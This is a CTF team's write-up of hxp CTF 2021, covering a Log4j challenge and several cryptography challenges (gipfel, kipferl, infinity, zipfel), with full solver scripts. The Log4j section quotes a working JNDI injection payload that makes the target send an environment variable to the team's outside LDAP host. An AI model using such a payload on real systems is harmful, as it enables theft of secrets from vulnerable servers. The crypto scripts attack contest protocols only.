hxp ctf 2021

This year, we at the Crocs-Side-Scripting CTF team took part in the hxp CTF 2021 . It was another challenging CTF with hard challenges. This post contains our solutions to the four challenges we solved (Log 4 sanity check#, gipfel#, kipferl# and infinity# as well as a note on the solution to zipfel#. We came in at a respectable 34th place, which was an improvement from last years position. Hoping for top 20 next year!

Log 4 sanity check#

msc, 104 points

We were discussing with the team just before the CTF this year whether there will be a challenge exploiting the recent log4j library vulnerabilities. When we saw it we were quite amused. Anyway, the solution to the challenge was quite simple. The flag was stored in an environment variable, which hinted at using the log4j exploit that does not achieve RCE but only environment variable exfiltration via a LDAP (or DNS, …) request. The payload was just the log4j exploit string pointing at this server targeting the flag, however we needed to actually have something to detect the queried LDAP path containing the flag.

${jndi:ldap://neuromancer.sk/${env:FLAG}}

Simply listening on the LDAP port showed some communication from the vulnerable server, but the requested path is not sent in the first request and without a proper LDAP server response the vulnerable service would not send it. We quickly whipped up the first LDAP server that we found slapd and after a bit of bumbling around with its configuration to have it run and log, but after checking the syslog, there it was!

Dec 17 16:43:31 Finn slapd[476096]: conn=1001 op=1 do_search: invalid dn: "hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}"

This challenge could have also been solved without the LDAP server, see here for example.

gipfel#

cry, 85 points

The first crypto challenge of this year was rather simple, a weird Diffie-Hellman type thing where not only the private key is private, but also the generator, which is randomly generated from a password every three runs.

def enc(a):
    f = {str: str.encode, int: int.__str__}.get(type(a))
    return enc(f(a)) if f else a

def H(*args):
    data = b'\0'.join(map(enc, args))
    return SHA256.new(data).digest()

def F(h, x):
    return pow(h, x, q)

password = random.randrange(10**6)

def go():
    g = int(H(password).hex(), 16)

    privA = 40*random.randrange(2**999)
    pubA = F(g, privA)
    print(f'{pubA = :#x}')

    pubB = int(input(),0)
    if not 1 < pubB < q:
        exit('nope')

    shared = F(pubB, privA)

    verA = F(g, shared**3)
    print(f'{verA = :#x}')

    verB = int(input(),0)
    if verB == F(g, shared**5):
        key = H(password, shared)
        flag = open('flag.txt').read().strip()
        aes = AES.new(key, AES.MODE_CTR, nonce=b'')
        print(f'flag:', aes.encrypt(flag.encode()).hex())
    else:
        print(f'nope! {shared:#x}')

signal.alarm(2021)
go()
go()
go()

I think we have solved this challenge quite differently than other teams. We realized that after one run of the protocol in which the \(verB\) check fails the server shares the used \(shared\) value which together with \(verA\) allows for constructing an offline oracle for testing guesses of the generator \(g\) and thus also the password. The oracle is based on the equation: \[ verA = g^{shared^3} \mod q\] which we can check for all password guesses once we have \(verA\) and \(shared\) from one go() run.

#!/usr/bin/env python3
# Requires pwntools, tqdm, pycryptodome
from pwn import *
from tqdm import tqdm
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from binascii import unhexlify

q = 0x3a05ce0b044dade60c9a52fb6a3035fc9117b307ca21ae1b6577fef7acd651c1f1c9c06a644fd82955694af6cd4e88f540010f2e8fdf037c769135dbe29bf16a154b62e614bb441f318a82ccd1e493ffa565e5ffd5a708251a50d145f3159a5

def enc(a):
    f = {str: str.encode, int: int.__str__}.get(type(a))
    return enc(f(a)) if f else a

def H(*args):
    data = b'\0'.join(map(enc, args))
    return SHA256.new(data).digest()

def F(h, x):
    return pow(h, x, q)

def solve_pow(server):
    pow_regex = re.compile(r"\"([0-9a-f]+)\"")
    bits_regex = re.compile("([0-9]+) zero")

    pow_line = server.recvline()
    pow_challenge = pow_regex.search(pow_line.decode()).groups()[0]
    pow_bits = bits_regex.search(pow_line.decode()).groups()[0]

    pow_proc = subprocess.run(["./pow-solver", pow_bits, pow_challenge], capture_output=True)
    pow_res = pow_proc.stdout.strip()

    server.sendline(pow_res)

def decrypt(password, shared, data):
    key = H(password, shared)
    aes = AES.new(key, AES.MODE_CTR, nonce=b'')
    return aes.decrypt(unhexlify(data))

if __name__ == "__main__":
    log.info("Precomputing gs")
    g_options = {}
    for pw in tqdm(range(10**6)):
        h = int(H(pw).hex(), 16)
        g_options[pw] = h

    server = remote("65.108.176.66", 1088)
    log.info("Solving PoW")
    solve_pow(server)
    log.success("Solved PoW")

    pubA = int(server.recvline().strip().decode().split(" = ")[1], 16)

    server.sendline(b"2")

    verA = int(server.recvline().strip().decode().split(" = ")[1], 16)

    server.sendline(b"2") # This will fail and we will get shared.

    shared = int(server.recvline().strip().decode().split("! ")[1], 16)
    exp = shared**3 % (q-1)

    for password, g in tqdm(g_options.items()):
        if verA == F(g, exp):
            break
    log.success(f"We got the g: {g}")
    log.success(f"We got the password: {password}")

    log.info("--- Second run ---")

    pubA = int(server.recvline().strip().decode().split(" = ")[1], 16)

    privB = 10
    pubB = F(g, privB)
    server.sendline(str(pubB).encode())

    verA = int(server.recvline().strip().decode().split(" = ")[1], 16)

    shared = F(pubA, privB)
    assert verA == F(g, shared**3)
    verB = F(g, shared**5)
    server.sendline(str(verB).encode())

    encrypted_flag = server.recvline().strip().decode().split(": ")[1]
    log.success(f"The flag is {decrypt(password, shared, encrypted_flag)}")

    server.close()

The code above gets the flag in the time limit, as it incorporates a simple speedup to reduce the \(shared^3\) exponent modulo \(q-1\).

kipferl#

cry, 227 points

The kipferl challenge was very similar to gipfel with the only difference being that the finite field Diffie-Hellman was replaced with elliptic curve Diffie-Hellman over a weird curve over the same prime. We managed to solve it as the third fastest team, mainly due to our gipfel solution being different and more generic than the usual one. As our gipfel solution only used the group structure and the values \(verA\) and \(shared\), we could very quickly adapt it to also work on kipferl. There were a few twists though:

The generator \(G\) could now lie on the original curve or on its twist. This made the simple speedup of gipfel above slightly more tricky, as we needed to test where the generator guess is to reduce by the correct order.
The scalar multiplication operations as implemented in the challenge are quite slow, and we needed to run quite a lot of them in the time limit of 2021 seconds.

To address these issues, we precomputed the possible generators for all passwords together with information on whether they lied on the original curve or twist curve and used parallelization for the rest. The script below precomputes generator information in Sagemath.

# Requires tqdm and pycryptodome
import json
from tqdm import tqdm
from Crypto.Hash import SHA256

q = 0x3a05ce0b044dade60c9a52fb6a3035fc9117b307ca21ae1b6577fef7acd651c1f1c9c06a644fd82955694af6cd4e88f540010f2e8fdf037c769135dbe29bf16a154b62e614bb441f318a82ccd1e493ffa565e5ffd5a708251a50d145f3159a5
K = GF(q)
a, b = K(1), K(0)

curve = EllipticCurve([a, b])

def enc(a):
    f = {str: str.encode, int: int.__str__}.get(type(a))
    return enc(f(a)) if f else a

def H(*args):
    data = b'\0'.join(map(enc, args))
    return SHA256.new(data).digest()

if __name__ == "__main__":
    print("Precomputing gs...")
    gs = {}
    for pw in tqdm(range(10**6)):
        g = int(H(pw).hex(), 16)
        try:
            curve.lift_x(K(g))
            mod = "orig"
        except:
            mod = "twist"
        gs[pw] = {
            "g": g,
            "mod": mod
        }

    with open("gs.json", "w") as f:
        json.dump(gs, f)

Next the actual attack script in Python. We actually reduce by a square root \(r\) of the order of the original curve as its group structure is bi-cyclic (\(\mathbb{Z}_r \times \mathbb{Z}_r\)). With enough cores the script below gets the flag.

#!/usr/bin/env python3
from pwn import *
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from binascii import unhexlify
from multiprocessing import Pool
from tqdm import tqdm
import json

q = 0x3a05ce0b044dade60c9a52fb6a3035fc9117b307ca21ae1b6577fef7acd651c1f1c9c06a644fd82955694af6cd4e88f540010f2e8fdf037c769135dbe29bf16a154b62e614bb441f318a82ccd1e493ffa565e5ffd5a708251a50d145f3159a5
a, b = 1, 0
order_orig = 21992493417575896428286087521674334179336251497851906051131955410904158485314789427947788692030188502157019527331790513011401920585195969087140918256569620608732530453375717414098148438918130733211117668960801178110820764957628836
order_sqrt = 4689615487177589107664782585032558388794418913529425573939737788208931564987743250881967962324438559511711351322406
order_twist = 2 * q + 2 - order_orig

################################################################

# https://www.hyperelliptic.org/EFD/g1p/data/shortw/xz/ladder/ladd-2002-it
def xDBLADD(P,Q,PQ):
    (X1,Z1), (X2,Z2), (X3,Z3) = PQ, P, Q
    X4 = (X2**2-a*Z2**2)**2-8*b*X2*Z2**3
    Z4 = 4*(X2*Z2*(X2**2+a*Z2**2)+b*Z2**4)
    X5 = Z1*((X2*X3-a*Z2*Z3)**2-4*b*Z2*Z3*(X2*Z3+X3*Z2))
    Z5 = X1*(X2*Z3-X3*Z2)**2
    X4,Z4,X5,Z5 = (c%q for c in (X4,Z4,X5,Z5))
    return (X4,Z4), (X5,Z5)

def xMUL(P, k):
    Q,R = (1,0), P
    for i in reversed(range(k.bit_length()+1)):
        if k >> i & 1: R,Q = Q,R
        Q,R = xDBLADD(Q,R,P)
        if k >> i & 1: R,Q = Q,R
    return Q

################################################################

def enc(a):
    f = {str: str.encode, int: int.__str__}.get(type(a))
    return enc(f(a)) if f else a

def H(*args):
    data = b'\0'.join(map(enc, args))
    return SHA256.new(data).digest()

def F(h, x):
    r = xMUL((h,1), x)
    return r[0] * pow(r[1],-1,q) % q

def test_F(args):
    password, g, verA, exp = args
    out = F(g, exp)
    if verA == out:
        return True, password, g
    else:
        return False, password, g

def solve_pow(server):
    pow_regex = re.compile(r"\"([0-9a-f]+)\"")
    bits_regex = re.compile("([0-9]+) zero")

    pow_line = server.recvline()
    pow_challenge = pow_regex.search(pow_line.decode()).groups()[0]
    pow_bits = bits_regex.search(pow_line.decode()).groups()[0]

    pow_proc = subprocess.run(["./pow-solver", pow_bits, pow_challenge], capture_output=True)
    pow_res = pow_proc.stdout.strip()

    server.sendline(pow_res)

def decrypt(password, shared, data):
    key = H(password, shared)
    aes = AES.new(key, AES.MODE_CTR, nonce=b'')
    return aes.decrypt(unhexlify(data))

if __name__ == "__main__":
    log.info("Loading gs...")
    with open("gs.json") as f:
        gs = json.load(f)

    server = remote("65.108.176.252", 1099)
    log.info("Solving PoW")
    solve_pow(server)
    log.success("Solved PoW")

    pubA = int(server.recvline().strip().decode().split(" = ")[1], 16)

    server.sendline(b"2")

    verA = int(server.recvline().strip().decode().split(" = ")[1], 16)

    server.sendline(b"2") # This will fail and we will get shared.

    shared = int(server.recvline().strip().decode().split("! ")[1], 16)
    exp_orig = shared**3 % order_sqrt
    exp_twist = shared**3 % order_twist

    tasks = [(int(password), val["g"], verA, exp_orig if val["mod"] == "orig" else exp_twist) for password, val in gs.items()]

    pool = Pool()
    res = pool.imap_unordered(test_F, tasks)
    for r in tqdm(res, total=len(gs)):
        if r[0]:
            password = r[1]
            g = r[2]
            pool.terminate()
            pool.join()
            break
    else:
        log.error("No luck")
        exit(1)
    log.success(f"We got the g: {g}")
    log.success(f"We got the password: {password}")

    log.info("---- Second run ----")

    pubA = int(server.recvline().strip().decode().split(" = ")[1], 16)

    privB = 10
    pubB = F(g, privB)

    server.sendline(str(pubB).encode())

    verA = int(server.recvline().strip().decode().split(" = ")[1], 16)

    shared = F(pubA, privB)
    assert verA == F(g, (shared**3))
    verB = F(g, (shared**5))

    server.sendline(str(verB).encode())

    encrypted_flag = server.recvline().strip().decode().split(": ")[1]
    log.success(f"The flag is {decrypt(password, shared, encrypted_flag)}")

    server.close()

infinity#

cry, 500 points

This challenge presents a SageMath implementation of the CSIDH protocol that gives you 600 seconds of interaction in which you can interact upto 500 times but can not send the same public key more than once.

#!/usr/bin/env sage
proof.all(False)

if sys.version_info.major < 3:
    print('nope nope nope nope | https://hxp.io/blog/72')
    exit(-2)

ls = list(prime_range(3,117))
p = 4 * prod(ls) - 1
base = bytes((int(p).bit_length() + 7) // 8)

R.<t> = GF(p)[]

def montgomery_coefficient(E):
    a,b = E.short_weierstrass_model().a_invariants()[-2:]
    r, = (t**3 + a*t + b).roots(multiplicities=False)
    s = sqrt(3*r**2 + a)
    return -3 * (-1)**is_square(s) * r / s

def csidh(pub, priv):
    assert type(pub) == bytes and len(pub) == len(base)
    E = EllipticCurve(GF(p), [0, int.from_bytes(pub,'big'), 0, 1, 0])
    assert (p+1) * E.random_point() == E(0)
    for es in ([max(0,+e) for e in priv], [max(0,-e) for e in priv]):
        while any(es):
            x = GF(p).random_element()
            try: P = E.lift_x(x)
            except ValueError: continue
            k = prod(l for l,e in zip(ls,es) if e)
            P *= (p+1) // k
            for i,(l,e) in enumerate(zip(ls,es)):
                if not e: continue
                k //= l
                phi = E.isogeny(k*P)
                E,P = phi.codomain(), phi(P)
                es[i] -= 1
        E = E.quadratic_twist()
    return int(montgomery_coefficient(E)).to_bytes(len(base),'big')

################################################################

randrange = __import__('random').SystemRandom().randrange
class CSIDH:
    def __init__(self):
        self.priv = [randrange(-2,+3) for _ in ls]
        self.pub = csidh(base, self.priv)
    def public(self): return self.pub
    def shared(self, other): return csidh(other, self.priv)

################################################################

alice = CSIDH()

__import__('signal').alarm(600)

from Crypto.Hash import SHA512
secret = ','.join(f'{e:+}' for e in alice.priv)
stream = SHA512.new(secret.encode()).digest()
flag = open('flag.txt','rb').read().strip()
assert len(flag) <= len(stream)
print('flag:', bytes(x^^y for x,y in zip(flag,stream)).hex())

seen = set()
for _ in range(500):
    bob = bytes.fromhex(input().strip())
    assert bob not in seen; seen.add(bob)
    print(alice.shared(bob).hex())

After some analysis of the CSIDH implementation we noticed that it is faulty. Occasionally (with probability \(1/l_i\)) it will fail to walk an isogeny of degree \(l_i\) during its isogeny walk. The secret exponents in this implementation are constrained to \(\{-2, -1, 0, 1, 2\}\). This means that if the exponent \(e_i\) is zero, the implementation can not fail to walk an \(l_i\)-degree isogeny as there is supposed to be no walk, if \(\lvert e_i \rvert = 1\) there is one chance for it to fail, if \(\lvert e_i \rvert = 2\) there are two chances for it to fail.

We knew that we needed to use these different failure probabilities to get information on the private key which would get us the flag. If we had Alice’s public key or could send the same public key more than once we could detect when an error happened, as we could compare the returned shared secret with the expected one. However, we had no clear way to do that. What we thought of next send us on a twisted and long detour where our solution almost worked but not quite. Get it twist-ed?

Twist diagram

We thought of using twists (shown in the diagram above as \(t\)) to let Alice walk back and forth between two “neighborhoods” of curves, one neighborhood close to the starting curve (can be \(E_0\) or really any curve) and one neighborhood close to her public key. We could then try to find a path between consecutive pairs of curves in each neighborhood using a meet-in-the-middle graph search algorithm. These paths would be the errors that Alice made during her two computations “there” and “back” (on the diagram above the paths are highlighted using colors). We would then aggregate these errors and use their relative frequencies to infer information about Alice’s private key.

CSIDH base curve twist

There were a couple of issues with this approach. First, the \(E_0\) curve is special with regards to twists, as twisting it jumps to the second graph component in the isogeny graph (also we thought that SageMath might have some issues computing a twist of this curve correctly). Thinking back at this, it could actually be beneficial to use this fact if the other graph component is somehow smaller to have an easier time searching the neighborhoods. The other issue with this twisted approach is that you can easily only detect errors upto a sign and you will not detect the case when Alice makes the same error during both computations “there” and “back”. However, even with these issues our approach almost worked and we spent a good part of a day on looking at its partially good results and trying to figure out where exactly it was going wrong. There was clear signal in the noise as we detected when errors happened in our test runs, but after aggregating the errors we were not getting what we expected.

The idea to ditch the twists came on the last day of the CTF. We finally thought of the simpler solution to creating our two neighborhoods of curves by giving Alice the curve \(E_0\), then \([3]E_0\), \([5]E_0\), and so on, obtaining curves \(A_0\), \(A_1\), \(A_2\) then doing \([3^{-1}]A_1\) and so on to map the curves back to the neighborhood. What we got by mapping the curves back were essentially Alice’s public key with errors introduced by the faulty algorithm. We counted the unique curves in this mapped set and given that the probability of no error occuring at all during the computation of the faulty algorithm was quite high we could see that the curve that occured the most often was Alice’s true public key, without any errors. We could then run a meet-in-the-middle algorithm to find paths between this public key and other mapped curves, these paths were the errors that Alice made during the computation. Compared to the twist approach, here we were getting all the errors correctly and even with the sign intact, as we were searching for paths between an error-less public key and a public key with errors (a single run of the faulty algorithm was involved, not two).

We then aggregated the errors (which matched the private key exactly on smaller instance test runs we did) but then no flag . We weren’t sure what had happened and tried to fix errors by hand in coefficients where the frequency of errors was the most “in-between” two expected frequencies given the private key coefficients. This proved tedious, but then we figured out that we have the actual Alice’s public key and we could run one final meet-in-the-middle run with this public key and the public key obtained by our private key guess. This would fix the errors in the private key for us, and indeed it did!

hxp{1s0g3n1es__m0rE_L1k3__1_s0_G3n1u5}

zipfel#

cry, 714 points - did not solve

Although we did not manage to solve zipfel during the CTF, we had a pretty good idea on how to do it and even had a script computing the solution running as the CTF ended. zipfel is a continuation of kipferl in that the code is almost unchanged except the ommision of the \(verA\) value. Without this value our previous attacks no longer work, as even with the \(shared\) value we can’t create our oracle. However, it turned out there was another oracle. We could use the provided \(pubA\) public key and Weil’s pairing to check our guesses of the generator \(G\). We looked at zipfel quite late, only after solving infinity late on the last day and there was simply no time to compute this given the rather slow pairing computation in SageMath on that curve.